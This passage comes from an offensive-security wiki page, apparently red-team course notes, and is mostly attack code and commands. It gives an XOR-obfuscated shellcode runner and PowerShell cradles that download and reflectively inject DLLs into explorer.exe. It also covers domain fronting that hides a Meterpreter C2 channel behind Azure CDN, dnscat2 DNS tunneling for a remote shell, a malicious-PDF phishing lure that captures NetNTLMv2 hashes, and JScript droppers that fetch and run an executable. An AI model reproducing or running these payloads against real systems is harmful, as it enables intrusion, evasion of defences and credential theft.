        {&lt;br /&gt;
            byte[] Tokyo = new byte[324] { /* ... (byte values here) ... */ };&lt;br /&gt;
            int size = Tokyo.Length;&lt;br /&gt;
            IntPtr Texas = Beirut.VirtualAlloc(IntPtr.Zero, (uint)Tokyo.Length, 0x3000, 0x40);&lt;br /&gt;
            Marshal.Copy(Tokyo, 0, Texas, Tokyo.Length);&lt;br /&gt;
            Beirut.VirtualProtect(Texas, (uint)Tokyo.Length, 0x20, out _);&lt;br /&gt;
            IntPtr threadHandle = Beirut.CreateThread(IntPtr.Zero, 0, Texas, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
            Beirut.WaitForSingleObject(threadHandle, 0xFFFFFFFF);&lt;br /&gt;
            Beirut.VirtualFree(Texas, 0, 0x8000);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Now load the DLL into memory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$data = (New-Object System.Net.Webclient).DownloadData(&#039;http://192.168.1.126/run4.dll&#039;)&lt;br /&gt;
$assem = [System.Reflection.Assembly]::Load($data)&lt;br /&gt;
$class = $assem.GetType(&amp;quot;runthat.Beirut&amp;quot;)&lt;br /&gt;
$method = $class.GetMethod(&amp;quot;Tripoli&amp;quot;)&lt;br /&gt;
$method.Invoke(0, $null)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== XOR&#039;ed DLL injection code ===&lt;br /&gt;
&lt;br /&gt;
Use the above cradle to run the dll. DO NOT FORGET TO CHANGE THE ENCRYPTION KEY TO THE ONE YOU ENCRYPTED THE SHELLCODE WITH!!&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
&lt;br /&gt;
namespace runthat&lt;br /&gt;
{&lt;br /&gt;
    public class Beirut&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        public static extern bool VirtualFree(IntPtr lpAddress, uint dwSize, uint dwFreeType);&lt;br /&gt;
&lt;br /&gt;
        public static void Tripoli()&lt;br /&gt;
        {&lt;br /&gt;
            byte[] Tokyo = new byte[324] {0xa8,....};&lt;br /&gt;
            for (int i = 0; i &amp;lt; Tokyo.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                Tokyo[i] = (byte)(((uint)Tokyo[i] ^ 0xAA) &amp;amp; 0xFF);&lt;br /&gt;
            }&lt;br /&gt;
            int size = Tokyo.Length;&lt;br /&gt;
            IntPtr Texas = Beirut.VirtualAlloc(IntPtr.Zero, (uint)Tokyo.Length, 0x3000, 0x40);&lt;br /&gt;
            Marshal.Copy(Tokyo, 0, Texas, Tokyo.Length);&lt;br /&gt;
&lt;br /&gt;
            Beirut.VirtualProtect(Texas, (uint)Tokyo.Length, 0x20, out _);&lt;br /&gt;
&lt;br /&gt;
            IntPtr threadHandle = Beirut.CreateThread(IntPtr.Zero, 0, Texas, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
&lt;br /&gt;
            Beirut.WaitForSingleObject(threadHandle, 0xFFFFFFFF);&lt;br /&gt;
&lt;br /&gt;
            Beirut.VirtualFree(Texas, 0, 0x8000);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Reflective injection using Invoke-ReflectivePEInjection.ps1 ===&lt;br /&gt;
&lt;br /&gt;
[https://powersploit.readthedocs.io/en/latest/CodeExecution/Invoke-ReflectivePEInjection/ Invoke-ReflectivePEInjection - PowerSploit]&lt;br /&gt;
&lt;br /&gt;
Public version may fail on Windows 10 1803 or newer due to issues with  ​GetProcAddress​  in  ​UnsafeNativeMethods​ . An updated script version is available to handle this in OneNote.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Setup:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Allow Script Execution in PowerShell&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Powershell -Exec Bypass&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Commands:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Download DLL and Get Explorer.exe Process ID&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$bytes = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.119.120/met.dll&#039;)&lt;br /&gt;
$procid = (Get-Process -Name explorer).Id&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Import Invoke-ReflectivePEInjection Script&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Import-Module Invoke-ReflectivePEInjection.ps1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Execute Invoke-ReflectivePEInjection with Loaded DLL and Process ID&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Copy Invoke-ReflectivePEInjection to your Kali Apache web server and create a small PowerShell download script that downloads and executes it directly from memory.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$bytes = (New-Object System.Net.WebClient).DownloadData(&#039;http://192.168.45.192/met3.dll&#039;)&lt;br /&gt;
$procid = (Get-Process -Name explorer).Id&lt;br /&gt;
&lt;br /&gt;
IEX(New-Object Net.WebClient).downloadString(&#039;http://192.168.45.192/Invoke-ReflectivePEInjection.ps1&#039;)&lt;br /&gt;
Invoke-ReflectivePEInjection -PEBytes $bytes -ProcId $procid&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Domain Fronting ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Domain fronting&#039;&#039;&#039; is a technique where someone hides the true destination of their internet traffic by making it appear as though it&#039;s headed to a trusted and well-known website. Once the traffic reaches that trusted site, it&#039;s then redirected to its actual, hidden destination. It&#039;s like sending a letter in an envelope addressed to a trusted friend, but inside that envelope is another envelope addressed to the real recipient.&lt;br /&gt;
&lt;br /&gt;
=== Domain Fronting with Azure CDN ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Objective&#039;&#039;&#039;: Host a Meterpreter listener on  ​meterpreter.info​  using Azure&#039;s CDN to proxy requests.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;1. Preliminaries&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* A controlled domain.&lt;br /&gt;
&lt;br /&gt;
* An Azure subscription to create a CDN.&lt;br /&gt;
&lt;br /&gt;
* An internet-accessible machine.&lt;br /&gt;
&lt;br /&gt;
* Current setup:  ​meterpreter.info​  points to an Ubuntu VM on DigitalOcean (IP:  ​138.68.99.177​ ).&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;2. Setting Up CDN in Azure&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* From the Home screen, choose  ​Create Resource​ .&lt;br /&gt;
&lt;br /&gt;
* Search for  ​CDN​ .&lt;br /&gt;
&lt;br /&gt;
* Select  ​CDN​  and click  ​Create​ .&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Configuration&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
*  ​Name​ : Any chosen name.&lt;br /&gt;
&lt;br /&gt;
*  ​Subscription​ : To pay for the service.&lt;br /&gt;
&lt;br /&gt;
*  ​Resource Group​ : Create new or use existing (Add  ​-rg​  at end for new).&lt;br /&gt;
&lt;br /&gt;
*  ​RG Location​ : Chosen geographic location.&lt;br /&gt;
&lt;br /&gt;
*  ​Pricing Tier​ : Use  ​Standard Verizon​ .&lt;br /&gt;
&lt;br /&gt;
*  ​CDN Endpoint Name​ : Chosen name with suffix  ​.azureedge.net​ .&lt;br /&gt;
&lt;br /&gt;
*  ​Origin Type​ : Set to  ​Custom Origin​ .&lt;br /&gt;
&lt;br /&gt;
*  ​Origin Hostname​ : The domain hosting the C2 server.&lt;br /&gt;
&lt;br /&gt;
Wait ~90 minutes for Azure to complete the setup.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;3. Disabling Caching&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Caching may break the C2 channel.&lt;br /&gt;
&lt;br /&gt;
* Choose  ​Endpoint and Caching rules​ .&lt;br /&gt;
&lt;br /&gt;
* Set  ​Caching Behavior​  to  ​Bypass Cache​ .&lt;br /&gt;
&lt;br /&gt;
* Set  ​Query String Caching Behavior​  to  ​Bypass caching for query strings​ .&lt;br /&gt;
&lt;br /&gt;
Wait up to 30 minutes for propagation.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4. Testing Connectivity&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4.1. HTTP Testing&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
sudo python3 -m http.server 80&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;4.2. HTTPS Testing&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
Use a Python script to handle HTTPS.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;python&amp;quot;&amp;gt;&lt;br /&gt;
from http.server import HTTPServer, SimpleHTTPRequestHandler&lt;br /&gt;
import ssl&lt;br /&gt;
import socketserver  &lt;br /&gt;
httpd = socketserver.TCPServer((&#039;138.68.99.177&#039;, 443), SimpleHTTPRequestHandler) httpd.socket = ssl.wrap_socket(httpd.socket, keyfile=&amp;quot;key.pem&amp;quot;, certfile=&#039;cert.pem&#039;, server_side=True)&lt;br /&gt;
httpd.serve_forever()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Run the script:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
sudo python3 httpsserver.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Verify using  ​curl​ :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl [http://offensive-security.azureedge.net http://offensive-security.azureedge.net]&lt;br /&gt;
curl -k [https://offensive-security.azureedge.net https://offensive-security.azureedge.net]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;5. Find Frontable Domain&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Frontable domain must be hosted on  ​azureedge.net​ .&lt;br /&gt;
&lt;br /&gt;
* Use  ​FindFrontableDomains​  tool by Steve Borosh.&lt;br /&gt;
&lt;br /&gt;
Installation:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
git clone [https://github.com/rvrsh3ll/FindFrontableDomains https://github.com/rvrsh3ll/FindFrontableDomains]&lt;br /&gt;
cd FindFrontableDomains/&lt;br /&gt;
sudo ./setup.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Example scan for  ​outlook.com​ :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python3 FindFrontableDomains.py --domain outlook.com&lt;br /&gt;
[-] Enumerating subdomains now for outlook.com&lt;br /&gt;
[-] Searching now in Baidu..&lt;br /&gt;
[-] Searching now in Yahoo..&lt;br /&gt;
[-] Searching now in Google..&lt;br /&gt;
[-] Searching now in Bing..&lt;br /&gt;
[-] Searching now in Ask..&lt;br /&gt;
[-] Searching now in Netcraft..&lt;br /&gt;
[-] Searching now in DNSdumpster..&lt;br /&gt;
[-] Searching now in Virustotal..&lt;br /&gt;
[-] Searching now in ThreatCrowd..&lt;br /&gt;
[-] Searching now in SSL Certificates..&lt;br /&gt;
[-] Searching now in PassiveDNS..&lt;br /&gt;
[-] Total Unique Subdomains Found: 2553&lt;br /&gt;
www.outlook.com&lt;br /&gt;
(...)&lt;br /&gt;
recommended.yggdrasil.outlook.com&lt;br /&gt;
---------------------------------------------------------&lt;br /&gt;
Starting search for frontable domains...&lt;br /&gt;
Azure Frontable domain found: assets.outlook.com outlook-assets.azureedge.net.&lt;br /&gt;
Azure Frontable domain found: assets.outlook.com outlook-assets.afd.azureedge.net.&lt;br /&gt;
Search complete!&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Test potential frontable domain:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
curl --header &amp;quot;Host: offensive-security.azureedge.net&amp;quot; [http://chosen-frontable-domain.com http://chosen-frontable-domain.com]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;6. Inspecting Traffic&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use  ​Wireshark​  to inspect DNS and HTTP requests.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Getting shell using Domain fronting&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Initial setup&#039;&#039;&#039;: Confirm that a domain (e.g., do.skype.com) can be used for domain fronting. This requires:&lt;br /&gt;
The fronting domain is hosted on the same CDN as the attacker’s domain.&lt;br /&gt;
&lt;br /&gt;
* CDN forwards requests based on the HTTP  ​Host​  header.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;HTTPS Inspection&#039;&#039;&#039;: With Wireshark, encrypted HTTPS traffic is sent to the same IP as a previous, legitimate test.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Certificate Details&#039;&#039;&#039;:&lt;br /&gt;
The TLS certificate used in the exchange can be Microsoft&#039;s.&lt;br /&gt;
&lt;br /&gt;
* A certificate can be valid for multiple domains via the Subject Alternative Names (SAN). In this case, it&#039;s valid for 99 different domains. This allows a single certificate to cover multiple domains using the same encryption key.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Payload Creation&#039;&#039;&#039;:&lt;br /&gt;
Use  ​msfvenom​  to create a reverse shell payload.&lt;br /&gt;
&lt;br /&gt;
* The  ​&amp;lt;code&amp;gt;HttpHostHeader&amp;lt;/code&amp;gt;​  option sets the  &amp;lt;code&amp;gt;​Host&amp;lt;/code&amp;gt;​  header in HTTP. In the example:  ​&amp;lt;code&amp;gt;msfvenom -p windows/x64/meterpreter/reverse_http LHOST=do.skype.com LPORT=80 HttpHostHeader=offensive-security.azureedge.net -f exe &amp;gt; http-df.exe​ &amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Listener Configuration&#039;&#039;&#039;:&lt;br /&gt;
Configure a listener on the VM hosting the attacker site.&lt;br /&gt;
&lt;br /&gt;
* Use the Metasploit  ​multi/handler​  exploit with specified parameters to listen for incoming connections using the domain fronting technique.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Payload Execution&#039;&#039;&#039;:&lt;br /&gt;
Start packet capturing tool (e.g., Wireshark).&lt;br /&gt;
&lt;br /&gt;
* Execute the payload.&lt;br /&gt;
&lt;br /&gt;
* Inspect the traffic details.&lt;br /&gt;
&lt;br /&gt;
* The shell connects to the fronted domain&#039;s IP (e.g., do.skype.com). The HTTP Host headers should be set to the attacker’s domain (e.g., offensive-security.azureedge.net).&lt;br /&gt;
&lt;br /&gt;
== DNS Tunneling ==&lt;br /&gt;
&lt;br /&gt;
DNS tunneling is a technique to encapsulate non-DNS traffic over DNS protocols. It can be used for both legitimate and malicious purposes, like bypassing firewalls or exfiltrating data.&lt;br /&gt;
&lt;br /&gt;
=== dnscat2 ===&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Guide: [https://highon.coffee/blog/dns-tunnel-dnscat2-cheat-sheet/ DNS Tunneling dnscat2 Cheat Sheet (highon.coffee)]&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
[https://github.com/iagox86/dnscat2 GitHub - iagox86/dnscat2]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-09-image-11.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Configuration on Ubuntu Machine&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;File to Edit&#039;&#039;&#039;:  ​/etc/dnsmasq.conf​ &lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Config Entries&#039;&#039;&#039;:&lt;br /&gt;
Add these entires to the authoritive DNS server in the domain. The 192.168.119.120 is our kali IP.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
server=/tunnel.com/192.168.119.120&lt;br /&gt;
server=/somedomain.com/192.168.119.120&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Restart dnsmasq&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
offsec@ubuntu:~$ sudo systemctl restart dnsmasq&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Installing and Running dnscat2 on Kali Machine&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Installation&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
kali@kali:~$ sudo apt install dnscat2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Starting Server&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
kali@kali:~$ dnscat2-server tunnel.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Client command (example)&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
./dnscat --secret=d3d2f452f24afe4b362df248e2906c1d tunnel.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Running dnscat2 Client on Windows Machine&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Start Command&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnscat2-v0.07-client-win32.exe tunnel.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Authentication Check&#039;&#039;&#039;&lt;br /&gt;
Verify the authentication string  ​Pedal Envied Tore Frozen Pegged Ware​  on both Kali and Windows sides.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Interacting with Client Session on Kali Machine&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;Attach to Session&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
dnscat2&amp;gt; session -i 1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Execute Commands Interactively&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
command (client) 1&amp;gt; shell&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Switch to New Session&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
command (client) 1&amp;gt; session -i 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Tunneling TCP with dnscat2 on Kali Machine&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;TCP/IP Tunnels Over DNS&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* dnscat2 also supports TCP/IP tunnels over DNS. That means we can create a tunnel back to the victim machine so that we can RDP into it from our Kali system.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
command (client) 1&amp;gt; listen 127.0.0.1:3389 172.16.51.21:3389&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Dropper / Phishing ==&lt;br /&gt;
&lt;br /&gt;
=== [BAD]PDF ===&lt;br /&gt;
&lt;br /&gt;
[https://www.infosecmatter.com/metasploit-module-library/?mm=auxiliary/fileformat/badpdf BADPDF Malicious PDF Creator - Metasploit - InfosecMatter]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# This module can either creates a blank PDF file which contains a UNC link which can be used to capture NetNTLM credentials, or if the PDFINJECT option is used it will inject the necessary code into an existing PDF document if possible.&lt;br /&gt;
# Use the metasploit exploit and generate a PDF&lt;br /&gt;
msf6 auxiliary(fileformat/badpdf) &amp;gt; set lhost 10.10.14.8&lt;br /&gt;
lhost =&amp;gt; 10.10.14.8&lt;br /&gt;
msf6 auxiliary(fileformat/badpdf) &amp;gt; set filename job.pdf&lt;br /&gt;
filename =&amp;gt; job.pdf&lt;br /&gt;
msf6 auxiliary(fileformat/badpdf) &amp;gt; run&lt;br /&gt;
# Start a SMB server&lt;br /&gt;
impacket-smbserver share . -smb2support&lt;br /&gt;
# Now send the file through email or upload it to target. The point is to phish someone to open the PDF and then get their NetNTLMv2 hash.&lt;br /&gt;
impacket-smbserver share . -smb2support&lt;br /&gt;
Impacket v0.11.0 - Copyright 2023 Fortra&lt;br /&gt;
[*] Config file parsed&lt;br /&gt;
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0&lt;br /&gt;
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0&lt;br /&gt;
[*] Config file parsed&lt;br /&gt;
[*] Config file parsed&lt;br /&gt;
[*] Config file parsed&lt;br /&gt;
[*] Incoming connection (10.10.110.35,4181)&lt;br /&gt;
[*] AUTHENTICATE_MESSAGE (Domain\Testuser,WORKSTATION-1)&lt;br /&gt;
[*] User WORKSTATION-1\Testuserauthenticated successfully&lt;br /&gt;
[*] Testuser::Domain:aaaaaaaaaaaaaaaa:40646fb31db19903e6a24ac5c3890ac9:01010000000000008054d853f122da0170c426f90c3a2d790000000001001000660049004f006a0070007a006400510003001000660049004f006a0070007a0064005100020010005a006b007a004900670056004e005000040010005a006b007a004900670056004e005000070008008054d853f122da010600040002000000080030003000000000000000000000000020000035dd0d4de6e44f56171932c0f1522230b9e11da16aa17557679e5fb48c1918560a0010000000000000000000000000000000000009001e0063006900660073002f00310030002e00310030002e00310034002e0038000000000000000000&lt;br /&gt;
[*] Closing down connection (10.10.110.35,4181)&lt;br /&gt;
[*] Remaining connections []&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Jscript (.js) ===&lt;br /&gt;
&lt;br /&gt;
* It downloads a file from a specified URL (&amp;quot; [http://192.168.119.120/met.exe http://192.168.1.126/met.exe]&amp;quot;).&lt;br /&gt;
&lt;br /&gt;
* It uses the `MSXML2.XMLHTTP` object (an HTTP request object) to make a GET request to the specified URL and retrieve the file content.&lt;br /&gt;
&lt;br /&gt;
* If the HTTP request is successful (HTTP status code 200), it saves the retrieved content to a local file named &amp;quot;met.exe&amp;quot; using the `ADODB.Stream` object.&lt;br /&gt;
&lt;br /&gt;
* It then uses the `WScript.Shell` object to run the &amp;quot;met.exe&amp;quot; file.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
var url = &amp;quot; http://192.168.119.120/met.exe&amp;quot;;&lt;br /&gt;
var Object = WScript.CreateObject(&#039;MSXML2.XMLHTTP&#039;);&lt;br /&gt;
Object.Open(&#039;GET&#039;, url, false);&lt;br /&gt;
Object.Send();&lt;br /&gt;
if (Object.Status == 200)&lt;br /&gt;
{&lt;br /&gt;
    var Stream = WScript.CreateObject(&#039;ADODB.Stream&#039;);&lt;br /&gt;
    Stream.Open();&lt;br /&gt;
    Stream.Type = 1;&lt;br /&gt;
    Stream.Write(Object.ResponseBody);&lt;br /&gt;
    Stream.Position = 0;&lt;br /&gt;
    Stream.SaveToFile(&amp;quot;met.exe&amp;quot;, 2);&lt;br /&gt;
    Stream.Close();&lt;br /&gt;
}&lt;br /&gt;
var r = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;).Run(&amp;quot;met.exe&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-08-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Proxy-aware ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;javascript&amp;quot;&amp;gt;&lt;br /&gt;
var url = &amp;quot;http://192.168.119.120/met.exe&amp;quot;;&lt;br /&gt;
var xmlhttp = new ActiveXObject(&amp;quot;MSXML2.XMLHTTP.3.0&amp;quot;);&lt;br /&gt;
// Set proxy details using setProxy method&lt;br /&gt;
xmlhttp.setProxy(2, &amp;quot;http://proxy.example.com:8080&amp;quot;, &amp;quot;&amp;quot;);&lt;br /&gt;
xmlhttp.open(&amp;quot;GET&amp;quot;, url, false);&lt;br /&gt;
xmlhttp.send();&lt;br /&gt;
if (xmlhttp.status === 200) {&lt;br /&gt;
    var stream = new ActiveXObject(&amp;quot;ADODB.Stream&amp;quot;);&lt;br /&gt;
    stream.Open();&lt;br /&gt;
    stream.Type = 1;&lt;br /&gt;
    stream.Write(xmlhttp.responseBody);&lt;br /&gt;
    stream.Position = 0;&lt;br /&gt;
    stream.SaveToFile(&amp;quot;met.exe&amp;quot;, 2);&lt;br /&gt;
    stream.Close();&lt;br /&gt;
}&lt;br /&gt;
var shell = new ActiveXObject(&amp;quot;WScript.Shell&amp;quot;);&lt;br /&gt;
shell.Run(&amp;quot;met.exe&amp;quot;);&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== HTA ===&lt;br /&gt;
&lt;br /&gt;
